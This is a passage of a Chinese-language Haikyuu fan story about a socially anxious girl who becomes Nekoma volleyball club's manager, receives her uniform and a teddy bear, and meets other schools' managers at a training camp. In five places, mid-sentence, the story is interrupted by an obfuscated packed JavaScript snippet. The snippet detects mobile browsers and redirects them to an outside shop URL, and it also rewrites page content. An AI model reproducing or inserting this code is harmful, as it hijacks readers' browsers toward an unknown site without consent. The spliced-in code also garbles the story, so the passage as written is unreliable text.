他妥善地放好我那张入部申请，向我露出了一个熟悉的、热情的笑来，将手伸到我面前，“请多指教，小游同学。” 我回忆了一下，伸手跟他的指尖轻轻握了一下，“请多指教，黑尾前辈。” 两只手一触即分，他直起身，比我高了很多的身体背着光，显得格外有压迫感，但我却意外地没什么紧张感。 背着光我看不太清他的表情，只是他的语气认真到我已经可以想象到他的表情了，他几乎算是承诺地道：“排球部不会让你失望的。” ……所以输了比赛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17309362|198759||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 果然还是有影响的吧。 我纠结两秒试图跟他提出这个事情，但因为不知道怎么开口最终咽了回去，只普通地回答了他的话。 “我知道。” # 还挺稀奇的，这是我第一次在除练习赛以外的时间踏入体育馆。 找到自己常呆的位置坐下，我习惯性地从包里翻出相机。 熟练地调整参数，这一套几乎是下意识的动作。 我来得早，这会儿体育馆内没什么人……话说这场面是不是有点熟悉，让我想起来我第一次来看练习赛的那天。 不是什么很好的回忆呢。 微微叹了口气，我垂眼，翻了翻相册里的照片。 嗯……这一阵子都在发愁别的事情，上次拍照好像还是去看IH预赛的那天。 不，确切来讲是上午，下午的那场比赛我完全没心情拍照，相机大概只起到了一个装饰的作用。 稍微有点紧张……不知道为什么，明明自我感觉在这两个月里已经和排球部的人混熟地差不多了，我却还是有点不祥的预感。 焦虑地伸手抓了抓头发，五指穿过浅栗色的发丝顺下，稍微有点阻力——明明早上出门前已经梳顺了才对，这就是头发比较炸所以显得很蓬松不用特意做造型的代价吗。 随着时间的推移，陆陆续续有些我很眼熟的人进了体育馆，他们看到我纷纷扬手打招呼，似乎并没有发现什么不对，我就说我们已经混熟地差不多了吧。 不可否认地，我因为他们自然的态度稍微松了一口气。 当然没松完，因为犬冈风风火火地冲进来了。 “诶？早上好，小游！”他眼尖地看到我，大大咧咧地朝我打了个招呼，问，“你现在早训的时候也需要素材吗？” 对哦。 本来没觉得有什么不对的众人纷纷望过来。 我哽住。 落到我身上的视线让我一瞬间感觉压力山大，下意识偏过头躲避所有人看过来的眼睛，我语气飘忽，“……这个啊，差不多？已经跟黑尾前辈商量过了。” 包括不提前说我成为经理这件事情，据黑尾前辈说，这种意料之外的事情应该让所有人都大吃一惊才对。 我回想了一下他提出这件事时张狂的笑声，不禁沉默。 总感觉会出现什么我不会想看到的事情……不过没事。 就这一次而已……吧。 13. 十三个小岛 得到我的回答，大家理所当然地认为这个商量过了指的是商量过了早训的时候也来收集素材，前辈嘻嘻哈哈地让我把他拍帅一点，然后被旁边的好友一手肘肘回去了。 有点好笑。 “哔——” 哨声突然响起，本来打打闹闹的几人一静，顺着哨声传来的地方看过去，然后顿住，疑惑地嘀咕，“早训不是结束的时候才集合吗，怎么今天这么早。” 我不置可否，顺着人群看过去，是站在体育馆中央的猫又教练、直井监督和作为主将的黑尾前辈。 ……莫名有种山雨欲来的感觉，是错觉吗？ 在黑尾前辈隔了老远的眼神催促下，我将相机放回包里，站起身，坠在人群末尾慢吞吞往前挪，最终站到了黑尾旁边差不多半米的地方。 ……感觉大家都在看我，救命。 视线飘忽半天，最终定在身前不远处的地板上。 这地板可真地板……不对，这地板可真干净。 流程过得再快点吧，算我求你。 旁边的黑尾等人都来齐了，才装模作样地咳了两声，语气高深莫测（？），“今天！是一个十分重要的日子！” ……这就是e人啊（麻木） 虽然他出声导致我身上的目光迅速被转移，但我并不感谢他。 出门在外站在e人旁边感受众人集中在他身上的视线会让同行的i人令ta感到不自在，之前刷到的时候我还没懂是什么意思，现在终于懂了。 黑尾前辈像在朗诵，“——我们音驹男子排球部，时隔三四五六七八年，终于再次拥有了经理！！” ……三四五六七八年是什么东西啊，好有槽点。 我竟然还有吐槽役的天赋吗？ 大概是因为都是熟悉的人，所以就算浑身都有些僵住，但我对这个状态并没有感到多少不适，甚至还有心情在心里放松地吐槽两句。 人群因为黑尾的话稍微嘈杂了起来，心知让这群人思考一下就能反应过来我出现在这里意味着什么的黑尾并不卖关子，而是直接转过身望向我，道：“这位就是被我们的比赛吸引到的新经理，小岛游绘。” 我还沉浸在自己的思绪里，闻言怔了一下，连忙应了声，“我是小岛游绘，之后的日子请多指教。” 习惯性重新过了一遍我的话，我肯定点头。 敬语都有加，语气也很正常，挺好。 但面前这一群人的沸腾程度远超我的想象。 山本前辈很夸张、非常夸张、特别夸张地仰天长啸，“我们音驹终于有可爱的美少女经理了——！！终于，终于！！” 我谨慎地后退一步。 好在除了几个跟着山本前辈一起欢呼的其他人反应都还算正常，大多在消化完这个消息之后就顺利地接受了——毕竟我连着看了两个多月的练习赛，现在正式加入怎么说都让人有种“果然是这样”的感觉。 啊。 唯独这点，面对前辈们投来的赞赏眼神，我莫名心虚地撇开眼，不与他们对视。 毕竟我在看那场比赛之前完全没有因为习惯了练习赛次次到场就生出想要成为经理的念头啊。 索性我本来就抗拒和别人的视线交流，被我避开眼神的几位前辈没感觉到什么不对，纷纷收回视线，一起闹起来。 氛围真好啊。 眼看着旁边似乎很靠谱的排球部主将丝滑融入人群，我莫名有点想笑。 弯了弯唇角，我注视着他们。 自从那场比赛之后我对他们的滤镜好像越来越明显了……虽然一见面就碎地一干二净就是了。 场下的他们完全看不出比赛时的样子呢……就连研磨前辈都不一样起来了。 是因为那种热烈的喜欢吧，真令人好奇啊。 加入排球部追随那种热爱的决定……结果绝对不会让我失望。 我莫名地笃定这一点。 # 音驹在我之前没有经理，也因此，原本经理的工作是由排球部的成员平分共同承担的。 现在多了一个我自然要重新分配，但一下子全都交给我也不太可能，有些推进到一半的事务诸如练习赛的安排、和其他学校的合宿，都是由原本的成员继续处理，让我一起跟进全当熟悉流程了。 我对此没什么异议，倒不如说一下增多的事务为我稍微有些无聊空闲的时光变得充实了一点，连带着心情都好了不少。 这里特指比前段时间愁入部申请书什么时候交的时候，那段时间我心情虽然不差，但总归称不上好。 目前对我来说最大的问题是期末考试结束后没几天就要开始的合宿。 有两场，前一场合宿时间不长，就在音驹，后一场这是要再过个一周，需要乘大巴前往森然高校进行为期一周的合宿。 我对此不报什么希望，这么说都是委婉的了，确切来说我其实挺苦大仇深的。 黑尾没反应过来我在发什么愁，想了想感觉最近值得在意的事情就只有期末考试，所以他震惊地问我，“原来小游成绩很不好吗？” “……不，”我颇感疑惑，思考他为什么会这么想，连解释的回答都慢了几分，“我成绩还挺不……” “小游可是年级前三啊黑尾学长，上次还考到第一了呢。”全排球部最清楚我的成绩的前桌闻言 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17309363|198759||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 冒出来，打断我的同时用仿佛是他考了年级第一的语气自豪地说。 “诶？！”×N 我忍了忍，但没忍住，幽幽地发问：“我看起来成绩很不好吗？” “那也没有，”一起被震惊到的夜久否认，“只是没想到小岛你成绩这么好。” 年级第一……周围第一次出现这样的人，还挺震撼的。 黑尾赞同点头，“没错没错。” ——事实上排球部成绩好的不在少数，三年级的夜久黑尾和海的成绩都很不错，但不错到年级第一的……这还是头一个。 我没太懂他们的逻辑，但本来其实也没什么很大的情绪波动，便轻轻揭过这一茬，偏头看了一眼走在外侧的山本前辈。 大概是被震撼地最深的那一个，被震得变成石像了两秒，不知道想到了什么突然满血复活，兴奋地碎碎念道：“美少女经理是学霸！赢了！！” 我沉默两秒。 山本前辈对经理……是有什么特殊的执念吗？ 之前都还好，但自从黑尾前辈宣布我加入排球部成为经理之后，他就变成这个样子了，像往我身上套了个很神奇的滤镜。 其他人习以为常，夜久见我面露疑惑便好心地解释了一下，“不用太在意，阿虎他就是这样，过两天就没事了。” 我似懂非懂地点头，“奥。” “话说回来，”夜久像是突然想到什么，转过头问我，“是在为合宿的事情烦恼吗？” ……读心术？ 心事被猜出来，我懵了两秒，下意识看了一眼周围。 唔，灰羽和山本前辈好像又在为王牌的事情吵起来了，黑尾前辈看热闹不嫌事大地在旁边拱火。 总之没什么人注意我和夜久的对话就是了。 莫名地松了口气，我纠结两秒，没直接回答他的问题，只是犹豫着委婉问：“……合宿的话，经理们要睡一个房间？” 夜久凭着一句话就精准地知道了我在愁什么，但这件事…… “……是这样没错，每个学校的排球队一个房间，作为女生的经理一个房间。” 果然如此。 我愁云惨淡，感觉未来一瞬间就灰暗下来了——虽然早有预料但这不是早有预料就能接受的事情。 难绷地抓了抓头发，我无意在不可能的事情上让夜久前辈多费心思（毕竟让我自己一个人睡一屋这种事情想想也知道不可能啊），假装没什么事地回他，“应该没事……我可以的。” ……小岛长大之后之后大概没法当演员，这话说地也太动摇了吧，假装地好明显。 夜久看着我的表情，这么想。 14. 十四个小岛 我其实已经认命了，只是偶尔想起时会对后面的合宿短暂地感到胆战心惊……但别的其实也没真的影响到我什么，最重要地期末考试也发挥地很正常。 最后一节课的铃声响起，我慢吞吞地收拾东西，余光瞥见灰羽已经收拾好了东西正在等我的样子，我停下动作，提醒他，“我今天要值日。” “诶？”灰羽似乎没想起来这事，他惊讶地吐出一个无意义的音节，随即点点头表示知晓，“那我先走了？” “嗯，拜拜。”我应了声。 看着他高大的背影走出教室，我收回目光，将最后一本书塞进书包，便起身往教室后排走去。 我跟我的搭档早早分配好了工作，擦黑板和窗户这类的工作归他，扫地这种工作归我，倒也相安无事。 大概是因为我们两个都是社恐吧。 虽然脑子里想了很多东西，但这不会影响到我的速度，麻利地扫完了地，我把扫把放回去，我冲不经意看过来的同学微微颔首，便背上书包径直离开了。 到排球部的时候人还没到齐，不过我已经是最后到的那几个了。 也正常，就算干活的速度再快也不可能一眨眼就干完嘛。 默默加快了脚步钻进留了一条缝隙的体育馆正门，贴着墙闷头往里走，尽力把动静降到最小——虽然时间长了已经习惯从正门进，但不管怎么样习惯万众瞩目这种事果然还是天生的天赋吧，要不然我为什么到现在都没习惯。 四处看了眼确认没多少人注意到我，我稍微松了口气，腹议着往更衣室走。 “小岛？你来的正好。”夜久眼疾手快叫住我。 我脚步顿住，闻声转过头看过去。 夜久前辈正朝我招了招手，示意我过去。 是有什么事情吗？ 一边想着，我一边调转方向朝他走过去。 “夜久前辈，”走到他跟前，我率先唤了他一声，问，“怎么了？” 他刚刚似乎正在热身，浑身正往外散发着微弱的热意，闻言偏过头，回我：“你的队服到了哦。” 我本来还在为感受到的那一丝热意而有些分神，闻言惊讶地问：“这么快吗？” 音驹的队服是要找工厂订的，之前报码数的时候我习惯性填了大一码的尺寸，结果队服拿过来发现队服本身就偏大，再大了这么一码对我来说完全穿不了，便只能送回去重新订。 我记得前两天才送回去……？这么快吗？ “啊，这个啊，”夜久实话实说，“因为只是码数问题，就让工厂那边直接在原来的基础上改小了，这样不用重新花钱再买一套。” 他想了想，“或许可以当做售后服务？” “奥。”我恍然大悟。 稍微有点期待，我到现在穿的一直是平时体育课的运动服来着。 思绪短暂地转了一圈，我跟夜久前辈说了声，先把书包放去我常坐的位置，才回来找他。 他正在和黑尾前辈拌嘴，我听了一耳朵，大概是黑尾前辈抱怨说本来想把队服藏起来当个惊喜给我的，夜久前辈吐槽他说第一次到的时候就来了一次了现在再来一次很没新意。 我待在原地思考什么时候过去。 索性夜久没有完全沉浸在跟黑尾拌嘴的事里，我刚站定不过几秒他便发现了我，给黑尾丢下一句“懒得跟你说”便扔下他朝我招了招手。 黑尾前辈对着夜久前辈“切”了一声，但也没再说什么说什么啊，变脸般的地冲我热情地打了个招呼，“嗨~小游。” 我回应，“黑尾前辈好。” 队服跟其他尺码有问题的队服被装在一个箱子里放到了男子更衣室，我进不去那里，夜久便让我在外面等着，自己进去拿。 经理的队服是一整套衣服，红色外套、黑色短袖、红色的短裤和长裤，跟其他人没什么区别，只是每个尺码的大小有些差异。 这么说的话，其实穿男款女款都差不多的样子？ 啊，想起来，上次我就是试到裤子的时候彻底放弃留着的念头了，完全穿不了呢，就算是有松紧带也还是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17309364|198759||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大了一圈，一定会掉的，一定。 要不是这样本来不想麻烦他们去重订的…… 开门的吱呀声打断了我的思绪，我抬头，夜久正拿着衣服出来，走到我面前先将外套抖开递给我，“先试试外套，看看大小。” 我“哦”了一声，接过来将外套套上。 理了理有些乱的领子，我拉着衣服下摆比划了一下。 下摆快到大腿了，袖子也长了一截……稍微还是大了点，不过是可以接受的程度，长高了之后还能继续穿。 我总不能长不高了吧？ 被自己的想法逗笑，我无声地弯了弯眼睛。 笑什么呢？ 夜久本来正顺着我的动作看外套的大小，余光瞥见我的表情，他稍微有些疑惑，但也没太在意，只是看着我长了一截的衣服思考了两秒，向我伸手，“手给我。” ？ 我疑惑地歪了歪头，但还是第一时间照做了，将一只手伸到他面前。 稍微犹豫了一下，我最终将手停在了他手掌上方不远处。 夜久没意识到我那犹豫的一下，他拉过我的袖子，对比了一下长度将袖口折了一截翻上去，到恰好露出手腕的地方。 我get到他要做什么，莫名犹豫了两秒，但等他的动作结束还是很直觉地将另一只手也递给他。 把长了些的袖子一一折好，夜久对比了一下两边的袖子，确认折起来的长度相同后才收回手。 他将剩下的衣服递给我，一边道：“只套一件外套来也可以，经理没有硬性要求，按你喜欢的来就好了。” 我微微抬眼，瞄了一眼他的表情后便迅速收回目光，听完他的话顿了两秒才应了一声，“好，我知道了。” 见他停在原地没有要走的意思，我看着他，有些疑惑，“怎么了？” 夜久终于想起忘了什么，他“啊”了声，回头急急忙忙地再次钻进更衣室，留下一句，“等我一下，有个东西没给你。” ……诶？ 我歪了歪头。 15. 十五个小岛 夜久回来地很快，他提着一个有些变形的袋子从更衣室里钻出来，将手里的纸袋递给我。 他开口前微妙地停顿了一下，才道：“上次回去我问了一下我弟弟，之后给你买了这个。” “说是陌生环境下有熟悉的人送的东西在旁边会轻松些，我就不客气地说我们关系很好了？” 他声音里带着笑意，但话中带着那一丝艰涩对我来说格外明显。 我好奇看向袋子里的视线一顿，微微抬眸看他， 夜久没看我，他微微偏过头看向了旁边的走廊，自然也没注意到我的视线。 ……感觉夜久前辈脖子稍微有点红，是错觉吗？ 好怪。 只看了一眼便收回视线，我微微有点出神，但重新低下头将袋子里的东西掏出来时候时就彻底将原本的事情抛之脑后，只余下惊讶与欣喜。 那是一个浅咖色的小熊玩偶，挺大一只的展开大概有四十厘米多一点，我揪着它身体将它拎起来的手下意识用力，五指便陷进柔软的棉花里……好软。 我眼睛发亮，“这是送给我的吗？” “嗯，”夜久终于重新将头转回来，带着些微妙的紧张，佯装不动声色地问我，“你喜欢吗？” “喜欢！”我已经将它塞进了怀里，舒舒服服抱了个满怀，闻言毫不犹豫地回答他，随即弯起眼，轻声而真诚地说，“谢谢你，夜久前辈。” 那微小的紧张和不知从何而起的不自在烟消云散，仿佛被感染到了一般，夜久也笑起来。 稍微……有点开心。 # 期末考考完不久就是合宿，算算时间……就在三天后。 因为准备到时候抱着娃娃睡觉，我想了想，担心自己放洗衣机洗会把棉花洗坏，就找了熟悉的那家洗衣店送过去了。 专业的事情还是给专业的人来做最好。 因为安排了加急，所以前一天送过去的小熊第二天早上就送回来了，钞能力导致的超高效率，我很满意。 送回来的小熊没什么洗衣液的味道，反倒残留着一股很微弱的消毒水的味道，我不太喜欢，但家里也没有香水一类的东西能盖盖味，最终我选择给它放去阳台晒晒散味。 合宿前最后一个晚上，我把已经打包好的行李放到客厅，顺便把小熊放到了行李的旁边。 这样就不用担心第二天忘带了。 ……啊，当然，计划总是赶不上变化的。 当天晚上安静地躺在床上睡不着的时候，我木着脸这么想。 ……因为第二天是合宿所以睡不着什么的，小学生吗？ 吐槽了自己一句，姑且缓和了一下困顿的身体和清醒的思维相不合的违和感，我尝试了一下，但就是睡不着。 我索性直接从床上做起来，在夜晚稍微凉爽了些的空气中懵了会儿，然后弯下腰，将脸埋到腿上搭着的薄毯上。 ……这样下去明天会有黑眼圈的吧。 不知道为什么，黑眼圈这种东西出现在我的脸上就很明显……也不知道什么原因。 总不能是不怎么晒太阳皮肤太白了导致的吧？！ 有些发愁，困得要死但睡不着什么的，怪煎熬的。 思绪无意识发散，我静默片刻，从床上爬起来，摸着黑下楼，去楼下拿了本来打算放在那里的那个娃娃。 ……计划本来就赶不上变化，况且我在这之前也没有抱着娃娃睡觉的习惯，就当提前适应一下好了。 给自己找好了理由，我便心安理得起来，提了提小熊的脑袋将它拉高了点放到颈侧，紧贴着的侧脸便感受到了毛茸茸的触感。 ……感觉应该会还不错呢。 抱着睡觉的话。 不知道是不是心理作用，总之，怀里多了一个柔软的玩偶之后，我的确感觉到了一丝奇怪的安心感。 将它往怀里更深地塞了塞，我蜷起身子，将脸往下埋了埋，直到蹭到柔软的玩偶皮毛才停下动作。 ……呼。 我合上眼睛，终于安然睡去。 # 啊……最后果然还是留黑眼圈了吗。 凑到镜子前仔细看了看，确定眼下那一片淡淡的青黑不是错觉，我稍微有些苦恼。 不过也只是稍微了，纠结了两秒我便将其抛到脑后。 穿上黑色的短袖前我纠结了一下，最终还是没再套一件打底衫，只是习惯性套上了白色的冰袖。 套上红色的长裤，我披上外套，站在了镜子前打量了一番自己。 ……想起好久以前第一次穿这件红色队服的时候的场景了，当时我可是完全没有想到有朝一日我会再次穿上这一件外套呢。 莫名感慨了一下，我提上已经收拾好了的放洗漱用品的小包下楼，最后重新检查了一遍，确定没有什么遗漏的东西之后才背上装着行李的黑包，踏出房门。 至于那个娃娃，我当然没有忘记，把它单独装了一个袋子准备拎着去了。 这次的合宿地点就在音驹，晚上留宿的地方是前段时间已经申请到了的教室……这么想还挺简陋的。 一想到经理是全都睡在同一个教室的就没有去参加合宿的欲望了，真是有用的打击积极性的利器。 脚步沉重了几分，我心情沉重地叹了口气，想到手上提着的娃娃时又勉强安心了几分。 ……没事，我可以的（沉重）（勉强） 今天来的比平时晚了点，我到的时候已经人已经差不多来齐了，我先去体育馆打了个照面，然后去今天晚上留宿的地方放了行李，才再次回了体育馆。 其实合宿的准备工作在这两天就已经准备的差不多了，今天要做的只有一些不能提前准备的工作。 我回想了一下被分配到的任务。 体育馆内的工作全被黑尾前辈分给了男生们，我只需要打完水、准备好毛巾之类的东西，然后再看有什么地方人手不够去帮忙就好了。 啊想起来了，还要负责等其他学校的经理到了的时候带她们去放行李之类的，毕竟我是现场唯一一个女生，这种事情我来做最好。 我没有意见地接受了，但没有意见是一码事，对此感到难绷又是另一码事了。 打完水将水瓶全都放进了背包里，我将它们一起背起来，直起身的时候脚步踉跄了一下，差点没站稳。 背包的袋子勒地我肩膀疼，我对此已经有了一套自己的解决方法，颠了颠包将手垫在了带子下面，感觉自己一下轻松了很多。 现在还没有到其他学校到的时间，所以我姑且没那么紧张，只是隐约有点焦虑。 这种焦虑在时间越来越往后推移变得越发大了。 ……还是好紧张。 好紧张好紧张好紧张好紧张 这次合宿总共有五所学校，不算音驹有四所，一队十二个人，四队就是四十八个人，再加上经理…… 光是想象一下就很恐怖！这就是我加入排球部所要付出的代价吗？ 眼见我逐渐在角落面壁，就差焦虑地啃指甲，不远处的芝山和手白面面相觑。 芝山欲言又止，小小声问：“小游还好吗？” 手白沉吟片刻，斟酌道：“应该还没糟糕到那个地步……夜久前辈呢？” ——夜久刚离开体育馆去校门口接人。 他们二人齐齐想起来这件事，不禁叹气。 虽然听起来不像，但我和同级生相处地其实还算不错，我只是社恐又不是孤僻，相处下来熟了之后很容易能看出我是个怎么样的人——是个很耐心也很好相处的人，一般不会拒绝他们提出的请求，有点奇妙的天然呆和吐槽役的成分，熟了之后会比原来放松很多，偶尔甚至因为思维跳脱而显得有点活泼。 ……但社恐是一点没变，遇到生人会当场变回哑巴，一起走的时候会很明显地呈躲避状态，有时候因为优越的外貌被不认识的人搭话的时候会恨不得钻地里去。 唯一能让她稍微安心点的是夜久——不愧是全排球部最可靠的守护神前辈啊。 芝山 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17309365|198759||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 和手白同时感叹。 他们两个商量了一下，最终一起朝我走过来。 我感觉有人拍了拍我的肩膀，还没来得及炸毛就听见了熟悉的声音，“游，你还好吗？” 我把一瞬间窜到嗓子眼的心脏按回去，整理了一下被吓到的心情，看在他们是在关心我的份上没说什么，“……还好？” 完全没人意识到我刚刚有被吓到，芝山凑过来看了眼我在干什么，发现我似乎正在和什么人聊天的样子，有心活跃一下气氛，问：“小游在和朋友聊天吗？” “啊，”我看了眼手机，点头应道，“在和擅长社交的哥哥取经……哦！他回我了！” 我抱着希冀的心情点开冒出红点的聊天框。 上一条消息是我发的。 【游：研二哥，要怎么和第一次见面的人正常相处啊】 这是我纠结了半天打出来的，虽然感觉找天生就是社牛的研二哥取经没什么用，但多少还是聊胜于无吧，至少能给我一点慰藉。 备注为“研二哥”的联系人回了条消息过来。 【研二哥：小绘要交朋友了吗！好感动！】 【研二哥：是小绘的话……保持平常心就可以了，可以尝试对方聊聊彼此感兴趣的话题，尝试失败也关系不大，只是一个人而已，不用太紧张】 我发现他说的话没有参考性，补充了一句。 【游：不是一个人】 【游：最少的话……五十几个？】 那头的萩原研二脑袋上缓缓冒了一个大大的问号出来。 五十个？第一次见面？小绘？？ 他不可置信地又看了眼对话框的上方——【小绘】。 哈？？ 他犹豫片刻，谨慎道：【小绘，你是自愿的吗？】 这孩子性格内向，长到现在都没个熟悉的朋友，怎么现在突然冒出来五十多个第一次见面的人？ 别被骗了啊！！ 我对他的想法一无所知，甚至有些摸不着头脑。 【游：是合宿而已……还跟自愿不自愿有关系吗？】 【游：是一定要来的吧？】 我转头问旁边的芝山，“合宿可以不来吗？” 芝山疑惑转头，“正选队员和经理除非特殊原因是一定要来的啊。” 他突然反应过来，大惊失色，“小游你难道已经放弃合宿了吗？” “不……那倒也没有，我不是来了吗？”我否认他的猜测。 那边的萩原看着“合宿”那两个字陷入沉思。 这个东西感觉也不是什么能和小绘扯上联系的东西……话说小绘参加社团了？ 他想到什么，问：【社团的合宿？】 对面很快弹出来一个肯定的回答，【是的】 那就是了，应该是摄影社这种吧，一起出去采风找素材什么的……五十个人是社团成员吧，摄影社人这么多吗？ 不过这不是重点，小绘的问题更重要一点。 他摸着下巴想了想，结合了一下她的性格和处事方式，回她。 【研二哥：这样的话……小绘听前辈安排就好，不用特意和不想接触的人打好关系】 【研二哥：必要情况下一定要和其他人接触的话，对方问什么你答什么就好，不用太紧张】 我看完沉默了一会，最终回了一个【好】。 参考个一半吧……我差点忘了研二哥对我的社恐程度其实一直没有一个准确的认识。 可能是因为第一次见他的时候是阵平哥介绍我们认识的，周围有熟悉的人的话我会放松很多，再加上看出来他们关系很好不想让阵平哥为难，我其实一直没太表现出我的社恐是怎么一个程度的社恐。 最容易被发现的一起出去玩的时候，我习惯性躲去自带恶人颜的松田后面、大多数人不会再来找我，而且研二哥又很受欢迎……我依稀感觉到他好像一直以为我只是喜欢一个人、只是稍微有些内向而已。 真是一个美丽的误会（捧读） 16. 十六个小岛 我首先准备听从的是那一句“听前辈的安排”。 啊，这就意味着我要听安排去送其他经理们去放东西。 ……这不是回到原点了吗？！ 重新掏手机的动作被由远及近的声音打断，我微妙地顿了一会，随即小心地就着这个姿势转头看过去。 黑尾前辈领着浩浩荡荡地一群人踏进体育馆，男高中生们哗啦啦涌进来，嘈杂声充斥着体育馆的同时，我感觉馆内的温度似乎都升高了些。 我不动声色地挪了挪身子，试图被旁边的芝山和手白挡住、别让其他人注意到。 黑尾前辈的声音是嘈杂声最突兀的那两个之一——当然，不是说他们两个的声调多高或者声音多有辨识度，只是两个人互相“交流”的声音独树一帜地大而已。 我看了两眼，有点不忍直视。 ……黑尾前辈怎么每天都在和别人吵架啊？音驹里他就经常和夜久前辈拌嘴。 主将连挑衅技能都要点满吗？ 在和黑尾前辈吵架的那位前辈的发型和黑尾前辈一样奇怪，黑白分明的发丝根根向后束起，格外引人瞩目——和黑尾前辈的发型一样引人注目。 鸡冠头和猫头鹰头，好奇怪的组合。 感觉顶着这种发型出门不管本人多没存在感都会被所有人注视，想想就令人惊恐。 打了个冷颤，我搓了搓胳膊，敬佩地又看了一眼。 夜久前辈不在……他不是去接来的学校吗，怎么还没回来？ 思绪往外飘了一下，视线无意识将正在吵架的两个人身后那群人看了一遍，目光触及人群中那两个女生时我一下就清醒了。 ……想起来了，都想起来了。 研二哥说什么来着？听前辈的话？问什么答什么？ 我凝重地回想。 恰逢那边吵架的两人告一段落，黑尾作为赢家意气风发地叉腰，终于想起了本来在客人都是熟人的情况下忘掉的待客之道，在体育馆里看了一圈，最终锁定在我所处的这个角落。 他当即拉了壮丁，大喊道：“小游——芝山——手白！你们都过来！！” 我和因为在我边上而被牵连的芝山和手白对视一眼。 我略显愧疚与崩溃。 他俩表情平淡，对这个事情完全没什么抗拒心理，唯一的情绪大概因为清楚我的性格而投来的担忧眼神。 接收到他们的担忧视线，我沉默两秒，觉得我愧疚地很自作多情，决定不愧疚了。 你们这群e人什么时候能懂社恐的烦恼！ 离得近了，我在那位猫头鹰前辈转头看了我一眼之后，依稀听到了他消极的自言自语，“连音驹都有经理了，再也不能嘲笑黑尾了……” 他旁边的队友们表情各异，互相对视一眼，进行了一番激烈的视线交流。 “木兔前辈，”最后被其他前辈们统一给予信任眼神的黑发前辈平静开口，“没关系的，枭谷有两个经理。” “但是不能用联盟只有音驹没有经理嘲笑黑尾了……”被称作木兔前辈的人并没有被哄到，继续碎碎念。 他的那位二年级的黑发后辈陷入沉思。 我在旁边听完了整段对话，不可思议的同时又有些欲言又止。 黑尾前辈已经在旁边猖狂地笑出声了。 ……黑尾前辈，笑得太大声了，你转头看看，旁边的几位前辈都在看你啊！！ 我舌尖抵住上鄂，尽量心平气和地让自己别当场转头就走。 ……好尴尬。 出门在外不能和太外向的e人一起走，就算要一起走也别暴露出两个人认识的事实，不然我们这些陪同的i人会被迫替他们尴尬而陷入社会性死亡的局面。 这是经验之谈。 研磨前辈，从小和黑尾前辈一起长大真是辛苦你了啊。 再次体会到了这一点，我深以为然地点点头。 等了一会没等到他们结束，我稍微有点疑惑地偏头去看，但在此之前，一道好听的女声传来。 “你好啊，我叫白福雪绘。” 于她身后，一个比她高些的女生探出头，笑着朝我打了个招呼，“你好，我叫雀田熏。” 问什么答什么问什么答什么为什么答什么…… 脑海里浮现这么一句话，我大脑空白但身体条件反射地开口，“我叫小岛游绘，学姐叫我小游就好了。” 是不是还要说什么？ 我硬着头皮继续道：“……现在我带学姐们去放行李、？” 啊 白福和雀田对视一眼，微妙地懂了刚刚黑尾提过一嘴的“我们的新经理……那孩子性格比较内向，还望多多包涵，她没什么坏心眼”是因为什么了。 雀田率先冲我露出了一个笑，“那就麻烦小游了，还请多多指教。” ！ 好像还挺好相处的……也不是那种像之前的小茜那样热情的人。 我悄悄松了口气，但还是没敢抬头，微垂下眼，闷声道：“请多多指教。” 敬语……加上了，很好，这次没到大脑空白丧失组织语言的地步！ 白福已经拎着行李等着了，她伸手自来熟地揽过我的肩，“走吧走吧——行李可沉了。” ……诶？ 我微微一愣，贴过来的温软身体让我浑身一僵，震惊地偏过脸看向旁边稍矮我一些的学姐。 好新奇的体验……在此之前还没有人这么揽过我，就小时候阵平哥和研二哥把我拖出去玩的时候有过！ 啊好像也不完全是这样，上次寿司店那次灰羽“kua”一下就给我弄走了。 真是的…… 思维飘了飘，我回过神，应声道：“好、好的。” 黑尾看着我们远去的背影，摸着下巴沉思。 小游不擅长拒绝别人啊。 两位学姐大概都是对社交并不苦手的人，一路上她们问什么我就答什么，没提到我的话就默默履行自己带路的职责。 完全没想到“问什么答什么”这么有用，我对萩原再次刷新了印象。 ——不愧是研二哥！ 